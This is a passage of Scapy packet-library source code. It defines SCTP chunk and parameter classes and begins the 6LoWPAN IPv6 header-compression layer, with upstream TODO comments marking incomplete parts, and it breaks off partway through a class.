PadField(FieldListField("chunk_list", None, ByteEnumField("chunk", None, sctpchunktypes), # noqa: E501 length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamRequestedHMACFunctions(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8004, sctpchunkparamtypes), FieldLenField("len", None, length_of="HMAC_functions_list", adjust=lambda pkt, x:x + 4), PadField(FieldListField("HMAC_functions_list", ["SHA-1"], ShortEnumField("HMAC_function", 1, hmactypes), # noqa: E501 length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamSupportedExtensions(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0x8008, sctpchunkparamtypes), FieldLenField("len", None, length_of="supported_extensions", adjust=lambda pkt, x:x + 4), PadField(FieldListField("supported_extensions", ["authentication", "address-configuration", "address-configuration-ack"], ByteEnumField("supported_extensions", # noqa: E501 None, sctpchunktypes), length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkParamFwdTSN(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc000, sctpchunkparamtypes), ShortField("len", 4), ] class SCTPChunkParamAddIPAddr(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc001, sctpchunkparamtypes), FieldLenField("len", None, length_of="addr", adjust=lambda pkt, x:x + 12), XIntField("correlation_id", None), ShortEnumField("addr_type", 5, sctpchunkparamtypes), FieldLenField("addr_len", None, length_of="addr", adjust=lambda pkt, x:x + 4), ConditionalField( IPField("addr", "127.0.0.1"), lambda p: p.addr_type == 5), ConditionalField( IP6Field("addr", "::1"), lambda p: p.addr_type == 6), ] class SCTPChunkParamDelIPAddr(SCTPChunkParamAddIPAddr): type = 0xc002 class SCTPChunkParamErrorIndication(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc003, sctpchunkparamtypes), FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 8), XIntField("correlation_id", None), PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), 4, padwith=b"\x00"), ] class SCTPChunkParamSetPrimaryAddr(SCTPChunkParamAddIPAddr): type = 0xc004 class SCTPChunkParamSuccessIndication(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc005, sctpchunkparamtypes), ShortField("len", 8), XIntField("correlation_id", None), ] class SCTPChunkParamAdaptationLayer(_SCTPChunkParam, Packet): fields_desc = [ShortEnumField("type", 0xc006, sctpchunkparamtypes), ShortField("len", 8), XIntField("indication", None), ] # SCTP Chunks # Dictionary taken from: http://www.iana.org/assignments/sctp-parameters/sctp-parameters.xhtml # noqa: E501 SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS = { 0: 'Reserved', 1: 'IUA', 2: 'M2UA', 3: 'M3UA', 4: 'SUA', 5: 'M2PA', 6: 'V5UA', 7: 'H.248', 8: 'BICC/Q.2150.3', 9: 'TALI', 10: 'DUA', 11: 'ASAP', 12: 'ENRP', 13: 'H.323', 14: 'Q.IPC/Q.2150.3', 15: 'SIMCO', 16: 'DDP Segment Chunk', 17: 'DDP Stream Session Control', 18: 'S1AP', 19: 'RUA', 20: 'HNBAP', 21: 'ForCES-HP', 22: 'ForCES-MP', 23: 'ForCES-LP', 24: 'SBc-AP', 25: 'NBAP', 26: 'Unassigned', 27: 'X2AP', 28: 'IRCP', 29: 'LCS-AP', 30: 'MPICH2', 31: 'SABP', 32: 'FGP', 33: 'PPP', 34: 'CALCAPP', 35: 'SSP', 36: 'NPMP-CONTROL', 37: 'NPMP-DATA', 38: 'ECHO', 39: 'DISCARD', 40: 'DAYTIME', 41: 'CHARGEN', 42: '3GPP RNA', 43: '3GPP M2AP', 44: '3GPP M3AP', 45: 'SSH/SCTP', 46: 'Diameter/SCTP', 47: 'Diameter/DTLS/SCTP', 48: 'R14P', 49: 'Unassigned', 50: 'WebRTC DCEP', 51: 'WebRTC String', 52: 'WebRTC Binary Partial', 53: 'WebRTC Binary', 54: 'WebRTC String Partial', 55: '3GPP PUA', 56: 'WebRTC String Empty', 57: 'WebRTC Binary Empty' } class SCTPChunkData(_SCTPChunkGuessPayload, Packet): # TODO : add a padding function in post build if this layer is used to generate SCTP chunk data # noqa: E501 fields_desc = [ByteEnumField("type", 0, sctpchunktypes), BitField("reserved", None, 4), BitField("delay_sack", 0, 1), BitField("unordered", 0, 1), BitField("beginning", 0, 1), BitField("ending", 0, 1), FieldLenField("len", None, length_of="data", adjust=lambda pkt, x:x + 16), # noqa: E501 XIntField("tsn", None), XShortField("stream_id", None), XShortField("stream_seq", None), IntEnumField("proto_id", None, SCTP_PAYLOAD_PROTOCOL_INDENTIFIERS), # noqa: E501 PadField(StrLenField("data", None, length_from=lambda pkt: pkt.len - 16), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkInit(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 20), # noqa: E501 XIntField("init_tag", None), IntField("a_rwnd", None), ShortField("n_out_streams", None), ShortField("n_in_streams", None), XIntField("init_tsn", None), ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 20), # noqa: E501 ] class SCTPChunkInitAck(SCTPChunkInit): type = 2 class GapAckField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "4s") def i2m(self, pkt, x): if x is None: return b"\0\0\0\0" sta, end = [int(e) for e in x.split(':')] args = tuple([">HH", sta, end]) return struct.pack(*args) def m2i(self, pkt, x): return "%d:%d" % (struct.unpack(">HH", x)) def any2i(self, pkt, x): if isinstance(x, tuple) and len(x) == 2: return "%d:%d" % (x) return x class SCTPChunkSACK(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 3, sctpchunktypes), XByteField("flags", None), ShortField("len", None), XIntField("cumul_tsn_ack", None), IntField("a_rwnd", None), FieldLenField("n_gap_ack", None, count_of="gap_ack_list"), FieldLenField("n_dup_tsn", None, count_of="dup_tsn_list"), FieldListField("gap_ack_list", [], GapAckField("gap_ack", None), count_from=lambda pkt:pkt.n_gap_ack), # noqa: E501 FieldListField("dup_tsn_list", [], XIntField("dup_tsn", None), count_from=lambda pkt:pkt.n_dup_tsn), # noqa: E501 ] def post_build(self, p, pay): if self.len is None: p = p[:2] + struct.pack(">H", len(p)) + p[4:] return p + pay class SCTPChunkHeartbeatReq(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 4, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 4), # noqa: E501 ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 4), # noqa: E501 ] class SCTPChunkHeartbeatAck(SCTPChunkHeartbeatReq): type = 5 class SCTPChunkAbort(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 6, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 4), # noqa: E501 PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkShutdown(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 7, sctpchunktypes), XByteField("flags", None), ShortField("len", 8), XIntField("cumul_tsn_ack", None), ] class SCTPChunkShutdownAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 8, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkError(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 9, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="error_causes", adjust=lambda pkt, x:x + 4), # noqa: E501 PadField(StrLenField("error_causes", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkCookieEcho(SCTPChunkError): fields_desc = [ByteEnumField("type", 10, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="cookie", adjust=lambda pkt, x:x + 4), # noqa: E501 PadField(StrLenField("cookie", "", length_from=lambda pkt: pkt.len - 4), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkCookieAck(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 11, sctpchunktypes), XByteField("flags", None), ShortField("len", 4), ] class SCTPChunkShutdownComplete(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 14, sctpchunktypes), BitField("reserved", None, 7), BitField("TCB", 0, 1), ShortField("len", 4), ] class SCTPChunkAuthentication(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 15, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="HMAC", adjust=lambda pkt, x:x + 8), ShortField("shared_key_id", None), ShortField("HMAC_function", None), PadField(StrLenField("HMAC", "", length_from=lambda pkt: pkt.len - 8), # noqa: E501 4, padwith=b"\x00"), ] class SCTPChunkAddressConf(_SCTPChunkGuessPayload, Packet): fields_desc = [ByteEnumField("type", 0xc1, sctpchunktypes), XByteField("flags", None), FieldLenField("len", None, length_of="params", adjust=lambda pkt, x:x + 8), IntField("seq", 0), ChunkParamField("params", None, length_from=lambda pkt:pkt.len - 8), # noqa: E501 ] class SCTPChunkAddressConfAck(SCTPChunkAddressConf): type = 0x80 bind_layers(IP, SCTP, proto=IPPROTO_SCTP) bind_layers(IPv6, SCTP, nh=IPPROTO_SCTP) scapy-2.4.4/scapy/layers/sixlowpan.py000066400000000000000000000703071372370053500176700ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Cesar A. Bernardini # Intern at INRIA Grand Nancy Est # Copyright (C) Gabriel Potter # This program is published under a GPLv2 license """ 6LoWPAN Protocol Stack ====================== This implementation follows the next documents: - Transmission of IPv6 Packets over IEEE 802.15.4 Networks - Compression Format for IPv6 Datagrams in Low Power and Lossy networks (6LoWPAN): draft-ietf-6lowpan-hc-15 - RFC 4291 +----------------------------+-----------------------+ | Application | Application Protocols | +----------------------------+------------+----------+ | Transport | UDP | TCP | +----------------------------+------------+----------+ | Network | IPv6 | +----------------------------+-----------------------+ | | LoWPAN | +----------------------------+-----------------------+ | Data Link Layer | IEEE 802.15.4 MAC | +----------------------------+-----------------------+ | Physical | IEEE 802.15.4 PHY | +----------------------------+-----------------------+ Note that: - Only IPv6 is supported - LoWPAN is in the middle between network and data link layer The Internet Control Message protocol v6 (ICMPv6) is used for control messaging. Adaptation between full IPv6 and the LoWPAN format is performed by routers at the edge of 6LoWPAN islands. A LoWPAN support addressing; a direct mapping between the link-layer address and the IPv6 address is used for achieving compression. Known Issues: * Unimplemented context information * Next header compression techniques * Unimplemented LoWPANBroadcast """ import socket import struct from scapy.compat import chb, orb, raw from scapy.data import ETHER_TYPES from scapy.packet import Packet, bind_layers from scapy.fields import BitField, ByteField, BitEnumField, BitFieldLenField, \ XShortField, FlagsField, ConditionalField, FieldLenField from scapy.layers.dot15d4 import Dot15d4Data from scapy.layers.inet6 import IPv6, IP6Field from scapy.layers.inet import UDP from scapy.layers.l2 import Ether from scapy.utils import lhex, mac2str from scapy.config import conf from scapy.error import warning from scapy.packet import Raw from scapy.pton_ntop import inet_pton, inet_ntop from scapy.volatile import RandShort ETHER_TYPES[0xA0ED] = "6LoWPAN" LINK_LOCAL_PREFIX = b"\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" # noqa: E501 class IP6FieldLenField(IP6Field): __slots__ = ["length_of"] def __init__(self, name, default, size, length_of=None): IP6Field.__init__(self, name, default) self.length_of = length_of def addfield(self, pkt, s, val): """Add an internal value to a string""" tmp_len = self.length_of(pkt) if tmp_len == 0: return s internal = self.i2m(pkt, val)[-tmp_len:] return s + struct.pack("!%ds" % tmp_len, internal) def getfield(self, pkt, s): tmp_len = self.length_of(pkt) assert tmp_len >= 0 and tmp_len <= 16 if tmp_len <= 0: return s, b"" return (s[tmp_len:], self.m2i(pkt, b"\x00" * (16 - tmp_len) + s[:tmp_len])) class BitVarSizeField(BitField): __slots__ = ["length_f"] def __init__(self, name, default, calculate_length=None): BitField.__init__(self, name, default, 0) self.length_f = calculate_length def addfield(self, pkt, s, val): self.size = self.length_f(pkt) return BitField.addfield(self, pkt, s, val) def getfield(self, pkt, s): self.size = self.length_f(pkt) return BitField.getfield(self, pkt, s) class SixLoWPANAddrField(FieldLenField): """Special field to store 6LoWPAN addresses 6LoWPAN Addresses have a variable length depending on other parameters. This special field allows to save them, and encode/decode no matter which encoding parameters they have. """ def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) def addfield(self, pkt, s, val): """Add an internal value to a string""" if self.length_of(pkt) == 8: return s + struct.pack(self.fmt[0] + "B", val) if self.length_of(pkt) == 16: return s + struct.pack(self.fmt[0] + "H", val) if self.length_of(pkt) == 32: return s + struct.pack(self.fmt[0] + "2H", val) # TODO: fix! if self.length_of(pkt) == 48: return s + struct.pack(self.fmt[0] + "3H", val) # TODO: fix! elif self.length_of(pkt) == 64: return s + struct.pack(self.fmt[0] + "Q", val) elif self.length_of(pkt) == 128: # TODO: FIX THE PACKING!! return s + struct.pack(self.fmt[0] + "16s", raw(val)) else: return s def getfield(self, pkt, s): if self.length_of(pkt) == 8: return s[1:], self.m2i(pkt, struct.unpack(self.fmt[0] + "B", s[:1])[0]) # noqa: E501 elif self.length_of(pkt) == 16: return s[2:], self.m2i(pkt, struct.unpack(self.fmt[0] + "H", s[:2])[0]) # noqa: E501 elif self.length_of(pkt) == 32: return s[4:], self.m2i(pkt, struct.unpack(self.fmt[0] + "2H", s[:2], s[2:4])[0]) # noqa: E501 elif self.length_of(pkt) == 48: return s[6:], self.m2i(pkt, struct.unpack(self.fmt[0] + "3H", s[:2], s[2:4], s[4:6])[0]) # noqa: E501 elif self.length_of(pkt) == 64: return s[8:], self.m2i(pkt, struct.unpack(self.fmt[0] + "Q", s[:8])[0]) # noqa: E501 elif self.length_of(pkt) == 128: return s[16:], self.m2i(pkt, struct.unpack(self.fmt[0] + "16s", s[:16])[0]) # noqa: E501 class LoWPANUncompressedIPv6(Packet): name = "6LoWPAN Uncompressed IPv6" fields_desc = [ BitField("_type", 0x0, 8) ] def default_payload_class(self, pay): return IPv6 class LoWPANMesh(Packet): name = "6LoWPAN Mesh Packet" fields_desc = [ BitField("reserved", 0x2, 2), BitEnumField("_v", 0x0, 1, [False, True]), BitEnumField("_f", 0x0, 1, [False, True]), BitField("_hopsLeft", 0x0, 4), SixLoWPANAddrField("_sourceAddr", 0x0, length_of=lambda pkt: pkt._v and 2 or 8), # noqa: E501 SixLoWPANAddrField("_destinyAddr", 0x0, length_of=lambda pkt: pkt._f and 2 or 8), # noqa: E501 ] def guess_payload_class(self, payload): # check first 2 bytes if they are ZERO it's not a 6LoWPAN packet pass ############################################################################### # Fragmentation # # Section 5.3 - September 2007 ############################################################################### class LoWPANFragmentationFirst(Packet): name = "6LoWPAN First Fragmentation Packet" fields_desc = [ BitField("reserved", 0x18, 5), BitField("datagramSize", 0x0, 11), XShortField("datagramTag", 0x0), ] class LoWPANFragmentationSubsequent(Packet): name = "6LoWPAN Subsequent Fragmentation Packet" fields_desc = [ BitField("reserved", 0x1C, 5), BitField("datagramSize", 0x0, 11), XShortField("datagramTag", RandShort()), ByteField("datagramOffset", 0x0), # VALUE PRINTED IN OCTETS, wireshark does in bits (128 bits == 16 octets) # noqa: E501 ] IPHC_DEFAULT_VERSION = 6 IPHC_DEFAULT_TF = 0 IPHC_DEFAULT_FL = 0 def source_addr_mode2(pkt): """source_addr_mode This function depending on the arguments returns the amount of bits to be used by the source address. Keyword arguments: pkt -- packet object instance """ if pkt.sac == 0x0: if pkt.sam == 0x0: return 16 elif pkt.sam == 0x1: return 8 elif pkt.sam == 0x2: return 2 elif pkt.sam == 0x3: return 0 else: if pkt.sam == 0x0: return 0 elif pkt.sam == 0x1: return 8 elif pkt.sam == 0x2: return 2 elif pkt.sam == 0x3: return 0 def destiny_addr_mode(pkt): """destiny_addr_mode This function depending on the arguments returns the amount of bits to be used by the destiny address. Keyword arguments: pkt -- packet object instance """ if pkt.m == 0 and pkt.dac == 0: if pkt.dam == 0x0: return 16 elif pkt.dam == 0x1: return 8 elif pkt.dam == 0x2: return 2 else: return 0 elif pkt.m == 0 and pkt.dac == 1: if pkt.dam == 0x0: raise Exception('reserved') elif pkt.dam == 0x1: return 8 elif pkt.dam == 0x2: return 2 else: return 0 elif pkt.m == 1 and pkt.dac == 0: if pkt.dam == 0x0: return 16 elif pkt.dam == 0x1: return 6 elif pkt.dam == 0x2: return 4 elif pkt.dam == 0x3: return 1 elif pkt.m == 1 and pkt.dac == 1: if pkt.dam == 0x0: return 6 elif pkt.dam == 0x1: raise Exception('reserved') elif pkt.dam == 0x2: raise Exception('reserved') elif pkt.dam == 0x3: raise Exception('reserved') def nhc_port(pkt): if not pkt.nh: return 0, 0 if pkt.header_compression & 0x3 == 0x3: return 4, 4 elif pkt.header_compression & 0x2 == 0x2: return 8, 16 elif pkt.header_compression & 0x1 == 0x1: return 16, 8 else: return 16, 16 def pad_trafficclass(pkt): """ This function depending on the arguments returns the amount of bits to be used by the padding of the traffic class. Keyword arguments: pkt -- packet object instance """ if pkt.tf == 0x0: return 4 elif pkt.tf == 0x1: return 2 elif pkt.tf == 0x2: return 0 else: return 0 def flowlabel_len(pkt): """ This function depending on the arguments returns the amount of bits to be used by the padding of the traffic class. Keyword arguments: pkt -- packet object instance """ if pkt.tf == 0x0: return 20 elif pkt.tf == 0x1: return 20 else: return 0 def _tf_last_attempt(pkt): if pkt.tf == 0: return 2, 6, 4, 20 elif pkt.tf == 1: return 2, 0, 2, 20 elif pkt.tf == 2: return 2, 6, 0, 0 else: return 0, 0, 0, 0 def _extract_upperaddress(pkt, source=True): """This function extracts the source/destination address of a 6LoWPAN from its upper layer. (Upper layer could be 802.15.4 data, Ethernet...) params: - source: if True, the address is the source one. Otherwise, it is the destination. returns: the packed & processed address """ # https://tools.ietf.org/html/rfc6282#section-3.2.2 SUPPORTED_LAYERS = (Ether, Dot15d4Data) underlayer = pkt.underlayer while underlayer and not isinstance(underlayer, SUPPORTED_LAYERS): underlayer = underlayer.underlayer # Extract and process address if type(underlayer) == Ether: addr = mac2str(underlayer.src if source else underlayer.dst) # https://tools.ietf.org/html/rfc2464#section-4 return LINK_LOCAL_PREFIX[:8] + addr[:3] + b"\xff\xfe" + addr[3:] elif type(underlayer) == Dot15d4Data: addr = underlayer.src_addr if source else underlayer.dest_addr addr = struct.pack(">Q", addr) if underlayer.underlayer.fcf_destaddrmode == 3: # Extended/long tmp_ip = LINK_LOCAL_PREFIX[0:8] + addr # Turn off the bit 7. return tmp_ip[0:8] + struct.pack("B", (orb(tmp_ip[8]) ^ 0x2)) + tmp_ip[9:16] # noqa: E501 elif underlayer.underlayer.fcf_destaddrmode == 2: # Short return ( LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + addr[6:] ) else: # Most of the times, it's necessary the IEEE 802.15.4 data to extract # this address, sometimes another layer. raise Exception( 'Unimplemented: Unsupported upper layer: %s' % type(underlayer) ) class LoWPAN_IPHC(Packet): """6LoWPAN IPv6 header compressed packets It follows the implementation of RFC6282 """ # the LOWPAN_IPHC encoding utilizes 13 bits, 5 dispatch type name = "LoWPAN IP Header Compression Packet" _address_modes = ["Unspecified", "1", "16-bits inline", "Compressed"] _state_mode = ["Stateless", "Stateful"] fields_desc = [ # dispatch BitField("_reserved", 0x03, 3), BitField("tf", 0x0, 2), BitEnumField("nh", 0x0, 1, ["Inline", "Compressed"]), BitField("hlim", 0x0, 2), BitEnumField("cid", 0x0, 1, [False, True]), BitEnumField("sac", 0x0, 1, _state_mode), BitEnumField("sam", 0x0, 2, _address_modes), BitEnumField("m", 0x0, 1, [False, True]), BitEnumField("dac", 0x0, 1, _state_mode), BitEnumField("dam", 0x0, 2, _address_modes), ConditionalField( ByteField("_contextIdentifierExtension", 0x0), lambda pkt: pkt.cid == 0x1 ), # TODO: THIS IS WRONG!!!!! BitVarSizeField("tc_ecn", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[0]), # noqa: E501 BitVarSizeField("tc_dscp", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[1]), # noqa: E501 BitVarSizeField("_padd", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[2]), # noqa: E501 BitVarSizeField("flowlabel", 0, calculate_length=lambda pkt: _tf_last_attempt(pkt)[3]), # noqa: E501 # NH ConditionalField( ByteField("_nhField", 0x0), lambda pkt: not pkt.nh ), # HLIM: Hop Limit: if it's 0 ConditionalField( ByteField("_hopLimit", 0x0), lambda pkt: pkt.hlim == 0x0 ), IP6FieldLenField("sourceAddr", "::", 0, length_of=source_addr_mode2), IP6FieldLenField("destinyAddr", "::", 0, length_of=destiny_addr_mode), # problem when it's 0 # noqa: E501 # LoWPAN_UDP Header Compression ######################################## # noqa: E501 # TODO: IMPROVE!!!!! ConditionalField( FlagsField("header_compression", 0, 8, ["A", "B", "C", "D", "E", "C", "PS", "PD"]), # noqa: E501 lambda pkt: pkt.nh ), ConditionalField( BitFieldLenField("udpSourcePort", 0x0, 16, length_of=lambda pkt: nhc_port(pkt)[0]), # noqa: E501 # ShortField("udpSourcePort", 0x0), lambda pkt: pkt.nh and pkt.header_compression & 0x2 == 0x0 ), ConditionalField( BitFieldLenField("udpDestinyPort", 0x0, 16, length_of=lambda pkt: nhc_port(pkt)[1]), # noqa: E501 lambda pkt: pkt.nh and pkt.header_compression & 0x1 == 0x0 ), ConditionalField( XShortField("udpChecksum", 0x0), lambda pkt: pkt.nh and pkt.header_compression & 0x4 == 0x0 ), ] def post_dissect(self, data): """dissect the IPv6 package compressed into this IPHC packet. The packet payload needs to be decompressed and depending on the arguments, several conversions should be done. """ # uncompress payload packet = IPv6() packet.version = IPHC_DEFAULT_VERSION packet.tc, packet.fl = self._getTrafficClassAndFlowLabel() if not self.nh: packet.nh = self._nhField # HLIM: Hop Limit if self.hlim == 0: packet.hlim = self._hopLimit elif self.hlim == 0x1: packet.hlim = 1 elif self.hlim == 0x2: packet.hlim = 64 else: packet.hlim = 255 # TODO: Payload length can be inferred from lower layers from either the # noqa: E501 # 6LoWPAN Fragmentation header or the IEEE802.15.4 header packet.src = self.decompressSourceAddr(packet) packet.dst = self.decompressDestinyAddr(packet) if self.nh == 1: # The Next Header field is compressed and the next header is # encoded using LOWPAN_NHC packet.nh = 0x11 # UDP udp = UDP() if self.header_compression and \ self.header_compression & 0x4 == 0x0: udp.chksum = self.udpChecksum s, d = nhc_port(self) if s == 16: udp.sport = self.udpSourcePort elif s == 8: udp.sport = 0xF000 + s elif s == 4: udp.sport = 0xF0B0 + s if d == 16: udp.dport = self.udpDestinyPort elif d == 8: udp.dport = 0xF000 + d elif d == 4: udp.dport = 0xF0B0 + d packet.payload = udp / data data = raw(packet) # else self.nh == 0 not necessary elif self._nhField & 0xE0 == 0xE0: # IPv6 Extension Header Decompression # noqa: E501 warning('Unimplemented: IPv6 Extension Header decompression') # noqa: E501 packet.payload = conf.raw_layer(data) data = raw(packet) else: packet.payload = conf.raw_layer(data) data = raw(packet) return Packet.post_dissect(self, data) def decompressDestinyAddr(self, packet): try: tmp_ip = inet_pton(socket.AF_INET6, self.destinyAddr) except socket.error: tmp_ip = b"\x00" * 16 if self.m == 0 and self.dac == 0: if self.dam == 0: pass elif self.dam == 1: tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[-8:] elif self.dam == 2: tmp_ip = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" + tmp_ip[-2:] # noqa: E501 elif self.dam == 3: # TODO May need some extra changes, we are copying # (self.m == 0 and self.dac == 1) tmp_ip = _extract_upperaddress(self, source=False) elif self.m == 0 and self.dac == 1: if self.dam == 0: raise Exception('Reserved') elif self.dam == 0x3: tmp_ip = _extract_upperaddress(self, source=False) elif self.dam not in [0x1, 0x2]: warning("Unknown destiny address compression mode !") elif self.m == 1 and self.dac == 0: if self.dam == 0: raise Exception("unimplemented") elif self.dam == 1: tmp = b"\xff" + chb(tmp_ip[16 - destiny_addr_mode(self)]) tmp_ip = tmp + b"\x00" * 9 + tmp_ip[-5:] elif self.dam == 2: tmp = b"\xff" + chb(tmp_ip[16 - destiny_addr_mode(self)]) tmp_ip = tmp + b"\x00" * 11 + tmp_ip[-3:] else: # self.dam == 3: tmp_ip = b"\xff\x02" + b"\x00" * 13 + tmp_ip[-1:] elif self.m == 1 and self.dac == 1: if self.dam == 0x0: # See https://tools.ietf.org/html/rfc6282#page-9 raise Exception("Unimplemented: I didn't understand the 6lowpan specification") # noqa: E501 else: # all the others values raise Exception("Reserved value by specification.") self.destinyAddr = inet_ntop(socket.AF_INET6, tmp_ip) return self.destinyAddr def compressSourceAddr(self, ipv6): tmp_ip = inet_pton(socket.AF_INET6, ipv6.src) if self.sac == 0: if self.sam == 0x0: pass elif self.sam == 0x1: tmp_ip = tmp_ip[8:16] elif self.sam == 0x2: tmp_ip = tmp_ip[14:16] else: # self.sam == 0x3: pass else: # self.sac == 1 if self.sam == 0x0: tmp_ip = b"\x00" * 16 elif self.sam == 0x1: tmp_ip = tmp_ip[8:16] elif self.sam == 0x2: tmp_ip = tmp_ip[14:16] self.sourceAddr = inet_ntop(socket.AF_INET6, b"\x00" * (16 - len(tmp_ip)) + tmp_ip) # noqa: E501 return self.sourceAddr def compressDestinyAddr(self, ipv6): tmp_ip = inet_pton(socket.AF_INET6, ipv6.dst) if self.m == 0 and self.dac == 0: if self.dam == 0x0: pass elif self.dam == 0x1: tmp_ip = b"\x00" * 8 + tmp_ip[8:16] elif self.dam == 0x2: tmp_ip = b"\x00" * 14 + tmp_ip[14:16] elif self.m == 0 and self.dac == 1: if self.dam == 0x1: tmp_ip = b"\x00" * 8 + tmp_ip[8:16] elif self.dam == 0x2: tmp_ip = b"\x00" * 14 + tmp_ip[14:16] elif self.m == 1 and self.dac == 0: if self.dam == 0x1: tmp_ip = b"\x00" * 10 + tmp_ip[1:2] + tmp_ip[11:16] elif self.dam == 0x2: tmp_ip = b"\x00" * 12 + tmp_ip[1:2] + tmp_ip[13:16] elif self.dam == 0x3: tmp_ip = b"\x00" * 15 + tmp_ip[15:16] elif self.m == 1 and self.dac == 1: raise Exception('Unimplemented') self.destinyAddr = inet_ntop(socket.AF_INET6, tmp_ip) def decompressSourceAddr(self, packet): try: tmp_ip = inet_pton(socket.AF_INET6, self.sourceAddr) except socket.error: tmp_ip = b"\x00" * 16 if self.sac == 0: if self.sam == 0x0: pass elif self.sam == 0x1: tmp_ip = LINK_LOCAL_PREFIX[0:8] + tmp_ip[16 - source_addr_mode2(self):16] # noqa: E501 elif self.sam == 0x2: tmp = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" tmp_ip = tmp + tmp_ip[16 - source_addr_mode2(self):16] elif self.sam == 0x3: # EXTRACT ADDRESS FROM Dot15d4 tmp_ip = _extract_upperaddress(self, source=True) else: warning("Unknown source address compression mode !") else: # self.sac == 1: if self.sam == 0x0: pass elif self.sam == 0x2: # TODO: take context IID tmp = LINK_LOCAL_PREFIX[0:8] + b"\x00\x00\x00\xff\xfe\x00" tmp_ip = tmp + tmp_ip[16 - source_addr_mode2(self):16] elif self.sam == 0x3: tmp_ip = LINK_LOCAL_PREFIX[0:8] + b"\x00" * 8 # TODO: CONTEXT ID # noqa: E501 else: raise Exception('Unimplemented') self.sourceAddr = inet_ntop(socket.AF_INET6, tmp_ip) return self.sourceAddr def guess_payload_class(self, payload): if self.underlayer and isinstance(self.underlayer, (LoWPANFragmentationFirst, LoWPANFragmentationSubsequent)): # noqa: E501 return Raw return IPv6 def do_build(self): if not isinstance(self.payload, IPv6): return Packet.do_build(self) ipv6 = self.payload self._reserved = 0x03 # NEW COMPRESSION TECHNIQUE! # a ) Compression Techniques # 1. Set Traffic Class if self.tf == 0x0: self.tc_ecn = ipv6.tc >> 6 self.tc_dscp = ipv6.tc & 0x3F self.flowlabel = ipv6.fl elif self.tf == 0x1: self.tc_ecn = ipv6.tc >> 6 self.flowlabel = ipv6.fl elif self.tf == 0x2: self.tc_ecn = ipv6.tc >> 6 self.tc_dscp = ipv6.tc & 0x3F else: # self.tf == 0x3: pass # no field is set # 2. Next Header if self.nh == 0x0: self.nh = 0 # ipv6.nh elif self.nh == 0x1: self.nh = 0 # disable compression # The Next Header field is compressed and the next header is encoded using LOWPAN_NHC, which is discussed in Section 4.1. # noqa: E501 warning('Next header compression is not implemented yet ! Will be ignored') # noqa: E501 # 3. HLim if self.hlim == 0x0: self._hopLimit = ipv6.hlim else: # if hlim is 1, 2 or 3, there are nothing to do! pass # 4. Context (which context to use...) if self.cid == 0x0: pass else: # TODO: Context Unimplemented yet in my class self._contextIdentifierExtension = 0 # 5. Compress Source Addr self.compressSourceAddr(ipv6) self.compressDestinyAddr(ipv6) return Packet.do_build(self) def do_build_payload(self): if self.header_compression and\ self.header_compression & 240 == 240: # TODO: UDP header IMPROVE return raw(self.payload)[40 + 16:] else: return raw(self.payload)[40:] def _getTrafficClassAndFlowLabel(self): """Page 6, draft feb 2011 """ if self.tf == 0x0: return (self.tc_ecn << 6) + self.tc_dscp, self.flowlabel elif self.tf == 0x1: return (self.tc_ecn << 6), self.flowlabel elif self.tf == 0x2: return (self.tc_ecn << 6) + self.tc_dscp, 0 else: return 0, 0 # Old compression (deprecated) class LoWPAN_HC1(Raw): name = "LoWPAN_HC1 Compressed IPv6 (Not 